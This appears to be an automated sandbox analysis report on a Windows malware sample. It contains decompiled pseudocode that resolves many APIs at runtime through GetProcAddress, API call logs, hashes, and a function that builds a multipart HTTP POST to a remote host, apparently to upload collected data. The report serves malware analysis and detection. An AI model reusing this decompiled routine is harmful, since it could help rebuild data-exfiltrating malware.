					_t341 =  *0x41fb30; // 0x8b3318
					_t103 =  *0x420230; // 0x768f0000
					 *0x420244 = GetProcAddress(_t103, _t341);
					_t255 =  *0x41fc98; // 0x8b33c0
					_t342 =  *0x420230; // 0x768f0000
					 *0x4201e4 = GetProcAddress(_t342, _t255);
					_t106 =  *0x41fb38; // 0x8b33d8
					_t256 =  *0x420230; // 0x768f0000
					_t17 = GetProcAddress(_t256, _t106);
					 *0x42021c = _t17;
				}
				if( *0x41fffc != 0) {
					_t332 =  *0x41fe70; // 0x8b3348
					_t83 =  *0x41fffc; // 0x74b40000
					 *0x4200d4 = GetProcAddress(_t83, _t332);
					_t246 =  *0x41fce8; // 0x8ac5a0
					_t333 =  *0x41fffc; // 0x74b40000
					 *0x4200b4 = GetProcAddress(_t333, _t246);
					_t86 =  *0x41f930; // 0x8b33f0
					_t247 =  *0x41fffc; // 0x74b40000
					 *0x420154 = GetProcAddress(_t247, _t86);
					_t334 =  *0x41fecc; // 0x88a968
					_t88 =  *0x41fffc; // 0x74b40000
					 *0x420014 = GetProcAddress(_t88, _t334);
					_t248 =  *0x41f9ac; // 0x8b3420
					_t335 =  *0x41fffc; // 0x74b40000
					_t17 = GetProcAddress(_t335, _t248);
					 *0x4201f4 = _t17;
				}
				if( *0x42011c != 0) {
					_t60 =  *0x41fc70; // 0x8b3438
					_t237 =  *0x42011c; // 0x76b90000
					 *0x420160 = GetProcAddress(_t237, _t60);
					_t323 =  *0x41f948; // 0x8b3498
					_t62 =  *0x42011c; // 0x76b90000
					 *0x4200f4 = GetProcAddress(_t62, _t323);
					_t238 =  *0x41ff50; // 0x8b3e18
					_t324 =  *0x42011c; // 0x76b90000
					 *0x4200dc = GetProcAddress(_t324, _t238);
					_t65 =  *0x41fa20; // 0x8b3d38
					_t239 =  *0x42011c; // 0x76b90000
					 *0x42005c = GetProcAddress(_t239, _t65);
					_t325 =  *0x41fdcc; // 0x8b3648
					_t67 =  *0x42011c; // 0x76b90000
					 *0x42003c = GetProcAddress(_t67, _t325);
					_t240 =  *0x41fa64; // 0x8b2d08
					_t326 =  *0x42011c; // 0x76b90000
					 *0x420024 = GetProcAddress(_t326, _t240);
					_t70 =  *0x41fd98; // 0x8b3660
					_t241 =  *0x42011c; // 0x76b90000
					 *0x4201c8 = GetProcAddress(_t241, _t70);
					_t327 =  *0x41f94c; // 0x8b35e8
					_t72 =  *0x42011c; // 0x76b90000
					 *0x4200d0 = GetProcAddress(_t72, _t327);
					_t242 =  *0x41fee4; // 0x8b3510
					_t328 =  *0x42011c; // 0x76b90000
					 *0x420180 = GetProcAddress(_t328, _t242);
					_t75 =  *0x41fa00; // 0x8b3630
					_t243 =  *0x42011c; // 0x76b90000
					 *0x4200ac = GetProcAddress(_t243, _t75);
					_t329 =  *0x41fbb0; // 0x8b2cc8
					_t77 =  *0x42011c; // 0x76b90000
					 *0x420020 = GetProcAddress(_t77, _t329);
					_t244 =  *0x41f92c; // 0x8b3cd8
					_t330 =  *0x42011c; // 0x76b90000
					 *0x420138 = GetProcAddress(_t330, _t244);
					_t80 =  *0x41f904; // 0x8b34f8
					_t245 =  *0x42011c; // 0x76b90000
					 *0x420074 = GetProcAddress(_t245, _t80);
					_t331 =  *0x41ff20; // 0x8b3600
					_t82 =  *0x42011c; // 0x76b90000
					_t17 = GetProcAddress(_t82, _t331);
					 *0x420188 = _t17;
				}
				if( *0x4201d0 != 0) {
					_t236 =  *0x41f8d0; // 0x8ab0f0
					_t322 =  *0x4201d0; // 0x6ea50000
					_t17 = GetProcAddress(_t322, _t236); // executed
					 *0x420008 = _t17;
				}
				if( *0x4200e0 != 0) {
					_t59 =  *0x41fb4c; // 0x8b3d18
					_t235 =  *0x4200e0; // 0x768e0000
					_t17 = GetProcAddress(_t235, _t59);
					 *0x4201d8 = _t17;
				}
				if( *0x4200c8 != 0) {
					_t321 =  *0x41fb00; // 0x8b3b78
					_t58 =  *0x4200c8; // 0x749a0000
					_t17 = GetProcAddress(_t58, _t321);
					 *0x4200b0 = _t17;
				}
				if( *0x4201c4 != 0) {
					_t231 =  *0x41f8b8; // 0x8af078
					_t317 =  *0x4201c4; // 0x73da0000
					 *0x4200f0 = GetProcAddress(_t317, _t231);
					_t50 =  *0x41feb8; // 0x8b3d78
					_t232 =  *0x4201c4; // 0x73da0000
					 *0x4201a8 = GetProcAddress(_t232, _t50);
					_t318 =  *0x41fcbc; // 0x8aefd8
					_t52 =  *0x4201c4; // 0x73da0000
					 *0x420094 = GetProcAddress(_t52, _t318);
					_t233 =  *0x41fb08; // 0x8b3e38
					_t319 =  *0x4201c4; // 0x73da0000
					 *0x420080 = GetProcAddress(_t319, _t233);
					_t55 =  *0x41fcd0; // 0x8af258
					_t234 =  *0x4201c4; // 0x73da0000
					 *0x420060 = GetProcAddress(_t234, _t55);
					_t320 =  *0x41f850; // 0x8b3528
					_t57 =  *0x4201c4; // 0x73da0000
					_t17 = GetProcAddress(_t57, _t320);
					 *0x4201e8 = _t17;
				}
				if( *0x420208 != 0) {
					_t227 =  *0x41faa8; // 0x8b3540
					_t313 =  *0x420208; // 0x701a0000
					 *0x420158 = GetProcAddress(_t313, _t227);
					_t41 =  *0x41fcb4; // 0x8b3618
					_t228 =  *0x420208; // 0x701a0000
					 *0x4200b8 = GetProcAddress(_t228, _t41);
					_t314 =  *0x41fcec; // 0x8b3cb8
					_t43 =  *0x420208; // 0x701a0000
					 *0x4201c0 = GetProcAddress(_t43, _t314);
					_t229 =  *0x41f9c4; // 0x8b3cf8
					_t315 =  *0x420208; // 0x701a0000
					 *0x42002c = GetProcAddress(_t315, _t229);
					_t46 =  *0x41ff3c; // 0x8b3b18
					_t230 =  *0x420208; // 0x701a0000
					 *0x42012c = GetProcAddress(_t230, _t46);
					_t316 =  *0x41ff78; // 0x8b34e0
					_t48 =  *0x420208; // 0x701a0000
					_t17 = GetProcAddress(_t48, _t316);
					 *0x420198 = _t17;
				}
				if( *0x4200fc != 0) {
					_t225 =  *0x41f928; // 0x8b3558
					_t311 =  *0x4200fc; // 0x76720000
					 *0x4201dc = GetProcAddress(_t311, _t225);
					_t37 =  *0x41fe44; // 0x8b2d18
					_t226 =  *0x4200fc; // 0x76720000
					 *0x420040 = GetProcAddress(_t226, _t37);
					_t312 =  *0x41f894; // 0x8b34c8
					_t39 =  *0x4200fc; // 0x76720000
					_t17 = GetProcAddress(_t39, _t312);
					 *0x4200a0 = _t17;
				}
				if( *0x420220 != 0) {
					_t223 =  *0x41fa1c; // 0x8b3d58
					_t310 =  *0x420220; // 0x75390000
					 *0x420190 = GetProcAddress(_t310, _t223);
					_t35 =  *0x41fb24; // 0x8b3570
					_t224 =  *0x420220; // 0x75390000
					_t17 = GetProcAddress(_t224, _t35);
					 *0x42020c = _t17;
				}
				if( *0x4200cc != 0) {
					_t304 =  *0x41fb78; // 0x8af2f8
					_t22 =  *0x4200cc; // 0x73660000
					 *0x42007c = GetProcAddress(_t22, _t304);
					_t218 =  *0x41fa4c; // 0x8b3df8
					_t305 =  *0x4200cc; // 0x73660000
					 *0x4200bc = GetProcAddress(_t305, _t218);
					_t25 =  *0x41fab4; // 0x8af230
					_t219 =  *0x4200cc; // 0x73660000
					 *0x420178 = GetProcAddress(_t219, _t25);
					_t306 =  *0x41f900; // 0x8b3588
					_t27 =  *0x4200cc; // 0x73660000
					 *0x4201bc = GetProcAddress(_t27, _t306);
					_t220 =  *0x41fca0; // 0x8b34b0
					_t307 =  *0x4200cc; // 0x73660000
					 *0x42019c = GetProcAddress(_t307, _t220);
					_t30 =  *0x41ff70; // 0x8b3b98
					_t221 =  *0x4200cc; // 0x73660000
					 *0x420148 = GetProcAddress(_t221, _t30);
					_t308 =  *0x41fb2c; // 0x8b3c18
					_t32 =  *0x4200cc; // 0x73660000
					 *0x420088 = GetProcAddress(_t32, _t308);
					_t222 =  *0x41ff60; // 0x8b35b8
					_t309 =  *0x4200cc; // 0x73660000
					_t17 = GetProcAddress(_t309, _t222);
					 *0x420204 = _t17;
				}
				if( *0x420110 != 0) {
					_t19 =  *0x41f924; // 0x8b3c78
					_t217 =  *0x420110; // 0x747d0000
					 *0x420120 = GetProcAddress(_t217, _t19);
					_t303 =  *0x41fb84; // 0x8b3b38
					_t21 =  *0x420110; // 0x747d0000
					_t17 = GetProcAddress(_t21, _t303);
					 *0x420028 = _t17;
				}
				if( *0x420210 != 0) {
					_t216 =  *0x41fbf4; // 0x8b35a0
					_t302 =  *0x420210; // 0x6c220000
					_t18 = GetProcAddress(_t302, _t216);
					 *0x420124 = _t18;
					return _t18;
				}
				return _t17;
			}

0x0040c0ba
0x0040c0c0
0x0040c0c6
0x0040c0d3
0x0040c0d8
0x0040c0df
0x0040c0eb
0x0040c0f0
0x0040c0f7
0x0040c104
0x0040c109
0x0040c10f
0x0040c11c
0x0040c121
0x0040c128
0x0040c134
0x0040c139
0x0040c140
0x0040c14d
0x0040c152
0x0040c158
0x0040c165
0x0040c16a
0x0040c171
0x0040c17d
0x0040c182
0x0040c189
0x0040c196
0x0040c19b
0x0040c1a1
0x0040c1ae
0x0040c1b3
0x0040c1ba
0x0040c1c6
0x0040c1cb
0x0040c1d2
0x0040c1df
0x0040c1e4
0x0040c1ea
0x0040c1f7
0x0040c1fc
0x0040c203
0x0040c20f
0x0040c214
0x0040c21b
0x0040c228
0x0040c22d
0x0040c233
0x0040c240
0x0040c245
0x0040c24c
0x0040c258
0x0040c25d
0x0040c264
0x0040c271
0x0040c276
0x0040c27c
0x0040c289
0x0040c28e
0x0040c295
0x0040c2a1
0x0040c2a6
0x0040c2ad
0x0040c2ba
0x0040c2bf
0x0040c2c5
0x0040c2d2
0x0040c2d7
0x0040c2de
0x0040c2ea
0x0040c2ef
0x0040c2f6
0x0040c303
0x0040c308
0x0040c30e
0x0040c31b
0x0040c320
0x0040c327
0x0040c333
0x0040c338
0x0040c33f
0x0040c34c
0x0040c351
0x0040c357
0x0040c364
0x0040c369
0x0040c370
0x0040c37c
0x0040c381
0x0040c388
0x0040c395
0x0040c39a
0x0040c3a0
0x0040c3ad
0x0040c3b2
0x0040c3b9
0x0040c3c5
0x0040c3ca
0x0040c3d1
0x0040c3de
0x0040c3e3
0x0040c3e9
0x0040c3f6
0x0040c3fb
0x0040c402
0x0040c40e
0x0040c413
0x0040c41a
0x0040c427
0x0040c42c
0x0040c432
0x0040c43f
0x0040c444
0x0040c44b
0x0040c457
0x0040c45c
0x0040c463
0x0040c470
0x0040c475
0x0040c47b
0x0040c488
0x0040c48d
0x0040c494
0x0040c4a0
0x0040c4a5
0x0040c4ac
0x0040c4b9
0x0040c4be
0x0040c4c4
0x0040c4d1
0x0040c4d6
0x0040c4dd
0x0040c4e9
0x0040c4ee
0x0040c4f5
0x0040c502
0x0040c507
0x0040c50d
0x0040c51a
0x0040c51f
0x0040c526
0x0040c532
0x0040c537
0x0040c53e
0x0040c54b
0x0040c550
0x0040c556
0x0040c563
0x0040c568
0x0040c56f
0x0040c57b
0x0040c580
0x0040c587
0x0040c594
0x0040c599
0x0040c59f
0x0040c5ac
0x0040c5b1
0x0040c5b8
0x0040c5c4
0x0040c5c4
0x0040c5c9
0x0040c5d6
0x0040c5db
0x0040c5e2
0x0040c5e8
0x0040c5ed
0x0040c5f9
0x0040c5fe
0x0040c60b
0x0040c610
0x0040c617
0x0040c61d
0x0040c622
0x0040c628
0x0040c62e
0x0040c633
0x0040c63a
0x0040c640
0x0040c645
0x0040c64c
0x0040c652
0x0040c657
0x0040c663
0x0040c668
0x0040c675
0x0040c67a
0x0040c681
0x0040c687
0x0040c68c
0x0040c692
0x0040c698
0x0040c69d
0x0040c6a4
0x0040c6aa
0x0040c6b6
0x0040c6b8
0x0040c6bf
0x0040c6c5
0x0040c6cb
0x0040c6cb
0x0040c6d7
0x0040c6dd
0x0040c6e4
0x0040c6f1
0x0040c6f6
0x0040c6fc
0x0040c709
0x0040c70e
0x0040c715
0x0040c721
0x0040c726
0x0040c72d
0x0040c73a
0x0040c73f
0x0040c745
0x0040c752
0x0040c757
0x0040c75e
0x0040c76a
0x0040c76f
0x0040c776
0x0040c783
0x0040c788
0x0040c78e
0x0040c79b
0x0040c7a0
0x0040c7a7
0x0040c7ad
0x0040c7b3
0x0040c7b3
0x0040c7bf
0x0040c7c5
0x0040c7cc
0x0040c7d9
0x0040c7de
0x0040c7e4
0x0040c7f1
0x0040c7f6
0x0040c7fd
0x0040c809
0x0040c80e
0x0040c815
0x0040c822
0x0040c827
0x0040c82d
0x0040c83a
0x0040c83f
0x0040c846
0x0040c852
0x0040c857
0x0040c85e
0x0040c86b
0x0040c870
0x0040c876
0x0040c883
0x0040c888
0x0040c88f
0x0040c89b
0x0040c8a0
0x0040c8a7
0x0040c8b4
0x0040c8b9
0x0040c8bf
0x0040c8c6
0x0040c8cc
0x0040c8cc
0x0040c8d8
0x0040c8da
0x0040c8e1
0x0040c8ed
0x0040c8f2
0x0040c8f9
0x0040c906
0x0040c90b
0x0040c911
0x0040c91e
0x0040c923
0x0040c92a
0x0040c936
0x0040c93b
0x0040c942
0x0040c949
0x0040c94f
0x0040c94f
0x0040c95b
0x0040c961
0x0040c967
0x0040c974
0x0040c979
0x0040c980
0x0040c98c
0x0040c991
0x0040c998
0x0040c9a5
0x0040c9aa
0x0040c9b0
0x0040c9bd
0x0040c9c2
0x0040c9c9
0x0040c9d5
0x0040c9da
0x0040c9e1
0x0040c9ee
0x0040c9f3
0x0040c9f9
0x0040ca06
0x0040ca0b
0x0040ca12
0x0040ca1e
0x0040ca23
0x0040ca2a
0x0040ca37
0x0040ca3c
0x0040ca42
0x0040ca4f
0x0040ca54
0x0040ca5b
0x0040ca67
0x0040ca6c
0x0040ca73
0x0040ca80
0x0040ca85
0x0040ca8b
0x0040ca98
0x0040ca9d
0x0040caa4
0x0040caaa
0x0040cab0
0x0040cab0
0x0040cabc
0x0040cabe
0x0040cac5
0x0040cacc
0x0040cad2
0x0040cad2
0x0040cade
0x0040cae0
0x0040cae6
0x0040caed
0x0040caf3
0x0040caf3
0x0040caff
0x0040cb01
0x0040cb08
0x0040cb0e
0x0040cb14
0x0040cb14
0x0040cb20
0x0040cb26
0x0040cb2d
0x0040cb3a
0x0040cb3f
0x0040cb45
0x0040cb52
0x0040cb57
0x0040cb5e
0x0040cb6a
0x0040cb6f
0x0040cb76
0x0040cb83
0x0040cb88
0x0040cb8e
0x0040cb9b
0x0040cba0
0x0040cba7
0x0040cbad
0x0040cbb3
0x0040cbb3
0x0040cbbf
0x0040cbc5
0x0040cbcc
0x0040cbd9
0x0040cbde
0x0040cbe4
0x0040cbf1
0x0040cbf6
0x0040cbfd
0x0040cc09
0x0040cc0e
0x0040cc15
0x0040cc22
0x0040cc27
0x0040cc2d
0x0040cc3a
0x0040cc3f
0x0040cc46
0x0040cc4c
0x0040cc52
0x0040cc52
0x0040cc5e
0x0040cc60
0x0040cc67
0x0040cc74
0x0040cc79
0x0040cc7f
0x0040cc8c
0x0040cc91
0x0040cc98
0x0040cc9e
0x0040cca4
0x0040cca4
0x0040ccb0
0x0040ccb2
0x0040ccb9
0x0040ccc6
0x0040cccb
0x0040ccd1
0x0040ccd8
0x0040ccde
0x0040ccde
0x0040ccea
0x0040ccf0
0x0040ccf7
0x0040cd03
0x0040cd08
0x0040cd0f
0x0040cd1c
0x0040cd21
0x0040cd27
0x0040cd34
0x0040cd39
0x0040cd40
0x0040cd4c
0x0040cd51
0x0040cd58
0x0040cd65
0x0040cd6a
0x0040cd70
0x0040cd7d
0x0040cd82
0x0040cd89
0x0040cd95
0x0040cd9a
0x0040cda1
0x0040cda8
0x0040cdae
0x0040cdae
0x0040cdba
0x0040cdbc
0x0040cdc2
0x0040cdcf
0x0040cdd4
0x0040cddb
0x0040cde1
0x0040cde7
0x0040cde7
0x0040cdf3
0x0040cdf5
0x0040cdfc
0x0040ce03
0x0040ce09
0x00000000
0x0040ce09
0x0040ce0f

APIs

GetProcAddress.KERNEL32(74DF0000,008B3198), ref: 0040C0CD
GetProcAddress.KERNEL32(74DF0000,008B30F0), ref: 0040C0E5
GetProcAddress.KERNEL32(74DF0000,008AC6C0), ref: 0040C0FE
GetProcAddress.KERNEL32(74DF0000,008B30D8), ref: 0040C116
GetProcAddress.KERNEL32(74DF0000,008B3120), ref: 0040C12E
GetProcAddress.KERNEL32(74DF0000,008B3060), ref: 0040C147
GetProcAddress.KERNEL32(74DF0000,008B2EE0), ref: 0040C15F
GetProcAddress.KERNEL32(74DF0000,008B2FA0), ref: 0040C177
GetProcAddress.KERNEL32(74DF0000,008B3090), ref: 0040C190
GetProcAddress.KERNEL32(74DF0000,008B3138), ref: 0040C1A8
GetProcAddress.KERNEL32(74DF0000,008B3180), ref: 0040C1C0
GetProcAddress.KERNEL32(74DF0000,008B2F10), ref: 0040C1D9
GetProcAddress.KERNEL32(74DF0000,008B2F40), ref: 0040C1F1
GetProcAddress.KERNEL32(74DF0000,008B2F88), ref: 0040C209
GetProcAddress.KERNEL32(74DF0000,008AC8C0), ref: 0040C222
GetProcAddress.KERNEL32(74DF0000,008B2FB8), ref: 0040C23A
GetProcAddress.KERNEL32(74DF0000,008AC5C0), ref: 0040C252
GetProcAddress.KERNEL32(74DF0000,008AF1B8), ref: 0040C26B
GetProcAddress.KERNEL32(74DF0000,008B2FD0), ref: 0040C283
GetProcAddress.KERNEL32(74DF0000,008AC600), ref: 0040C29B
GetProcAddress.KERNEL32(74DF0000,008B3330), ref: 0040C2B4
GetProcAddress.KERNEL32(74DF0000,008AC720), ref: 0040C2CC
GetProcAddress.KERNEL32(74DF0000,008AC7C0), ref: 0040C2E4
GetProcAddress.KERNEL32(74DF0000,008B31B0), ref: 0040C2FD
GetProcAddress.KERNEL32(74DF0000,008B31C8), ref: 0040C315
GetProcAddress.KERNEL32(74DF0000,008B3450), ref: 0040C32D
GetProcAddress.KERNEL32(74DF0000,008B3360), ref: 0040C346
GetProcAddress.KERNEL32(74DF0000,008AC680), ref: 0040C35E
GetProcAddress.KERNEL32(74DF0000,008B31F8), ref: 0040C376
GetProcAddress.KERNEL32(74DF0000,008B31E0), ref: 0040C38F
GetProcAddress.KERNEL32(74DF0000,008B3258), ref: 0040C3A7
GetProcAddress.KERNEL32(74DF0000,008AC740), ref: 0040C3BF
GetProcAddress.KERNEL32(74DF0000,008B3210), ref: 0040C3D8
GetProcAddress.KERNEL32(74DF0000,008B3228), ref: 0040C3F0
GetProcAddress.KERNEL32(74DF0000,008B3378), ref: 0040C408
GetProcAddress.KERNEL32(74DF0000,008B32A0), ref: 0040C421
GetProcAddress.KERNEL32(74DF0000,008B3390), ref: 0040C439
GetProcAddress.KERNEL32(74DF0000,008AC6E0), ref: 0040C451
GetProcAddress.KERNEL32(74DF0000,008AC620), ref: 0040C46A
GetProcAddress.KERNEL32(74DF0000,008B3240), ref: 0040C482
GetProcAddress.KERNEL32(74DF0000,008B3468), ref: 0040C49A
GetProcAddress.KERNEL32(74DF0000,008AC700), ref: 0040C4B3
GetProcAddress.KERNEL32(74DF0000,008AF190), ref: 0040C4CB
GetProcAddress.KERNEL32(74DF0000,008B3270), ref: 0040C4E3
GetProcAddress.KERNEL32(74DF0000,008B3288), ref: 0040C4FC
GetProcAddress.KERNEL32(74DF0000,008AC5E0), ref: 0040C514
GetProcAddress.KERNEL32(74DF0000,008AC780), ref: 0040C52C
GetProcAddress.KERNEL32(74DF0000,008AC760), ref: 0040C545
GetProcAddress.KERNEL32(74DF0000,008B32B8), ref: 0040C55D
GetProcAddress.KERNEL32(74DF0000,008AC640), ref: 0040C575
GetProcAddress.KERNEL32(74DF0000,008B33A8), ref: 0040C58E
GetProcAddress.KERNEL32(74DF0000,008AC7A0), ref: 0040C5A6
GetProcAddress.KERNEL32(74DF0000,008AC660), ref: 0040C5BE
LoadLibraryA.KERNEL32(008B30A8,?,004066CC), ref: 0040C5D0
LoadLibraryA.KERNEL32(008B2EF8,?,004066CC), ref: 0040C5E2
LoadLibraryA.KERNEL32(008B2FE8,?,004066CC), ref: 0040C5F3
LoadLibraryA.KERNEL32(008B3000,?,004066CC), ref: 0040C605
LoadLibraryA.KERNEL32(008B3078,?,004066CC), ref: 0040C617
LoadLibraryA.KERNEL32(008B3018,?,004066CC), ref: 0040C628
LoadLibraryA.KERNEL32(008B2F58,?,004066CC), ref: 0040C63A
LoadLibraryA.KERNEL32(008B3030,?,004066CC), ref: 0040C64C
LoadLibraryA.KERNEL32(008B2EC8,?,004066CC), ref: 0040C65D
LoadLibraryA.KERNEL32(008B3150,?,004066CC), ref: 0040C66F
LoadLibraryA.KERNEL32(008B2F70,?,004066CC), ref: 0040C681
LoadLibraryA.KERNEL32(008B3048,?,004066CC), ref: 0040C692
LoadLibraryA.KERNEL32(008B30C0,?,004066CC), ref: 0040C6A4
GetProcAddress.KERNEL32(775E0000,008B2D58), ref: 0040C6C5
GetProcAddress.KERNEL32(6FC40000,008B3480), ref: 0040C6EB
GetProcAddress.KERNEL32(6FC40000,008AC7E0), ref: 0040C703
GetProcAddress.KERNEL32(6FC40000,008AC840), ref: 0040C71B
GetProcAddress.KERNEL32(6FC40000,008AC800), ref: 0040C734
GetProcAddress.KERNEL32(6FC40000,008B32D0), ref: 0040C74C
GetProcAddress.KERNEL32(6FC40000,008AC820), ref: 0040C764
GetProcAddress.KERNEL32(6FC40000,008AC860), ref: 0040C77D
GetProcAddress.KERNEL32(6FC40000,008AC880), ref: 0040C795
GetProcAddress.KERNEL32(6FC40000,008AC8A0), ref: 0040C7AD
GetProcAddress.KERNEL32(768F0000,008B32E8), ref: 0040C7D3
GetProcAddress.KERNEL32(768F0000,008B3408), ref: 0040C7EB
GetProcAddress.KERNEL32(768F0000,008AC8E0), ref: 0040C803
GetProcAddress.KERNEL32(768F0000,008AC540), ref: 0040C81C
GetProcAddress.KERNEL32(768F0000,008B3300), ref: 0040C834
GetProcAddress.KERNEL32(768F0000,008B2DF8), ref: 0040C84C
GetProcAddress.KERNEL32(768F0000,008AC560), ref: 0040C865
GetProcAddress.KERNEL32(768F0000,008AC580), ref: 0040C87D
GetProcAddress.KERNEL32(768F0000,008B3318), ref: 0040C895
GetProcAddress.KERNEL32(768F0000,008B33C0), ref: 0040C8AE
GetProcAddress.KERNEL32(768F0000,008B33D8), ref: 0040C8C6
GetProcAddress.KERNEL32(74B40000,008B3348), ref: 0040C8E7
GetProcAddress.KERNEL32(74B40000,008AC5A0), ref: 0040C900
GetProcAddress.KERNEL32(74B40000,008B33F0), ref: 0040C918
GetProcAddress.KERNEL32(74B40000,0088A968), ref: 0040C930
GetProcAddress.KERNEL32(74B40000,008B3420), ref: 0040C949
GetProcAddress.KERNEL32(76B90000,008B3438), ref: 0040C96E
GetProcAddress.KERNEL32(76B90000,008B3498), ref: 0040C986
GetProcAddress.KERNEL32(76B90000,008B3E18), ref: 0040C99F
GetProcAddress.KERNEL32(76B90000,008B3D38), ref: 0040C9B7
GetProcAddress.KERNEL32(76B90000,008B3648), ref: 0040C9CF
GetProcAddress.KERNEL32(76B90000,008B2D08), ref: 0040C9E8
GetProcAddress.KERNEL32(76B90000,008B3660), ref: 0040CA00
GetProcAddress.KERNEL32(76B90000,008B35E8), ref: 0040CA18
GetProcAddress.KERNEL32(76B90000,008B3510), ref: 0040CA31
GetProcAddress.KERNEL32(76B90000,008B3630), ref: 0040CA49
GetProcAddress.KERNEL32(76B90000,008B2CC8), ref: 0040CA61
GetProcAddress.KERNEL32(76B90000,008B3CD8), ref: 0040CA7A
GetProcAddress.KERNEL32(76B90000,008B34F8), ref: 0040CA92
GetProcAddress.KERNEL32(76B90000,008B3600), ref: 0040CAAA
GetProcAddress.KERNEL32(6EA50000,008AB0F0), ref: 0040CACC
GetProcAddress.KERNEL32(768E0000,008B3D18), ref: 0040CAED
GetProcAddress.KERNEL32(749A0000,008B3B78), ref: 0040CB0E
GetProcAddress.KERNEL32(73DA0000,008AF078), ref: 0040CB34
GetProcAddress.KERNEL32(73DA0000,008B3D78), ref: 0040CB4C
GetProcAddress.KERNEL32(73DA0000,008AEFD8), ref: 0040CB64
GetProcAddress.KERNEL32(73DA0000,008B3E38), ref: 0040CB7D
GetProcAddress.KERNEL32(73DA0000,008AF258), ref: 0040CB95
GetProcAddress.KERNEL32(73DA0000,008B3528), ref: 0040CBAD
GetProcAddress.KERNEL32(701A0000,008B3540), ref: 0040CBD3
GetProcAddress.KERNEL32(701A0000,008B3618), ref: 0040CBEB
GetProcAddress.KERNEL32(701A0000,008B3CB8), ref: 0040CC03
GetProcAddress.KERNEL32(701A0000,008B3CF8), ref: 0040CC1C
GetProcAddress.KERNEL32(701A0000,008B3B18), ref: 0040CC34
GetProcAddress.KERNEL32(701A0000,008B34E0), ref: 0040CC4C
GetProcAddress.KERNEL32(76720000,008B3558), ref: 0040CC6E
GetProcAddress.KERNEL32(76720000,008B2D18), ref: 0040CC86
GetProcAddress.KERNEL32(76720000,008B34C8), ref: 0040CC9E
GetProcAddress.KERNEL32(75390000,008B3D58), ref: 0040CCC0
GetProcAddress.KERNEL32(75390000,008B3570), ref: 0040CCD8
GetProcAddress.KERNEL32(73660000,008AF2F8), ref: 0040CCFD
GetProcAddress.KERNEL32(73660000,008B3DF8), ref: 0040CD16
GetProcAddress.KERNEL32(73660000,008AF230), ref: 0040CD2E
GetProcAddress.KERNEL32(73660000,008B3588), ref: 0040CD46
GetProcAddress.KERNEL32(73660000,008B34B0), ref: 0040CD5F
GetProcAddress.KERNEL32(73660000,008B3B98), ref: 0040CD77
GetProcAddress.KERNEL32(73660000,008B3C18), ref: 0040CD8F
GetProcAddress.KERNEL32(73660000,008B35B8), ref: 0040CDA8
GetProcAddress.KERNEL32(747D0000,008B3C78), ref: 0040CDC9
GetProcAddress.KERNEL32(747D0000,008B3B38), ref: 0040CDE1
GetProcAddress.KERNEL32(6C220000,008B35A0), ref: 0040CE03

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 446bb386d00b3fc6fdaf793da8d8eebb1e64edf05bf55f2c12584ecfc14dca9d
Instruction ID: 1d70d232ba55cb9c008fbc595f3c5a6e1714110a256628337282a5c949275c85
Opcode Fuzzy Hash: 446bb386d00b3fc6fdaf793da8d8eebb1e64edf05bf55f2c12584ecfc14dca9d
Instruction Fuzzy Hash: 9E826DB5710210DFD364DFA8FD89A6637EAB74C3017908539A949C3272DB36A817CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404A20, Relevance: 89.6, APIs: 47, Strings: 4, Instructions: 305
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00404A20(void* __ecx, void* __eflags, char* _a4, char* _a8, CHAR* _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				char _v1548;
				CHAR* _v1552;
				long _v1556;
				char _v6556;
				void* _v6560;
				long _v6564;
				long _v6568;
				void* _v6572;
				intOrPtr _v6576;
				char _v8580;
				int _v8584;
				long _v8588;
				void* _t100;
				CHAR* _t110;
				char* _t125;
				CHAR* _t131;
				CHAR* _t143;
				void* _t154;
				CHAR* _t187;
				char* _t189;
				CHAR* _t219;
				CHAR* _t224;
				CHAR* _t225;
				void* _t237;
				void* _t238;

				E00416530(0x2188);
				E0040B280(__ecx,  &_v6556, 0, 0x1388);
				E0040B2C0( &_v516, 0x1f4);
				E0040B2C0( &_v1548, 0x200);
				_t100 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000); // executed
				_v1552 = _t100;
				E0040B2C0( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_t243 = _v520;
				if(_v520 != 0) {
					_t110 = E0040B450( &_v8, _t243, 0x10);
					_t238 = _t238 + 4;
					lstrcatA( &_v516, _t110);
					lstrcatA(_v1552, 0x41d2dc);
					lstrcatA(_v1552, "------");
					lstrcatA(_v1552,  &_v516);
					lstrcatA(_v1552, "--");
					lstrcatA(_v1552, 0x41d2dc);
					_t187 =  *0x41f96c; // 0x8af9f8
					lstrcatA( &_v1028, _t187);
					lstrcatA( &_v1028,  &_v516);
					_v6560 = InternetConnectA(_v520, _a4, 0x50, 0, 0, 3, 0, 0);
					if(_v6560 != 0) {
						_t189 =  *0x41fa84; // 0x8b35d0
						_t125 =  *0x41fd3c; // 0x8b2d78
						_v1032 = HttpOpenRequestA(_v6560, _t125, _a8, _t189, 0, 0, 0x400000, 0);
						if(_v1032 != 0) {
							lstrcatA( &_v1548, "------");
							lstrcatA( &_v1548,  &_v516);
							lstrcatA( &_v1548, 0x41d2dc);
							_t131 =  *0x41fa78; // 0x8ab120
							lstrcatA( &_v1548, _t131);
							_t219 =  *0x41f808; // 0x8b2da8
							lstrcatA( &_v1548, _t219);
							lstrcatA( &_v1548, "\"\r\n\r\n");
							lstrcatA( &_v1548, _a12);
							lstrcatA( &_v1548, 0x41d2dc);
							lstrcatA( &_v1548, "------");
							lstrcatA( &_v1548,  &_v516);
							lstrcatA( &_v1548, 0x41d2dc);
							_t143 =  *0x41fdec; // 0x8afbb8
							lstrcatA( &_v1548, _t143);
							lstrcatA( &_v1548, _a12);
							lstrcatA( &_v1548, "\"\r\n");
							_t224 =  *0x41f7e8; // 0x8ab180
							lstrcatA( &_v1548, _t224);
							lstrcatA( &_v1548, 0x41d2dc);
							_t225 =  *0x41fce4; // 0x8ab1b0
							lstrcatA( &_v1548, _t225);
							lstrcatA( &_v1548, "\r\n\r\n");
							_t154 =  *0x42009c( &_v1548);
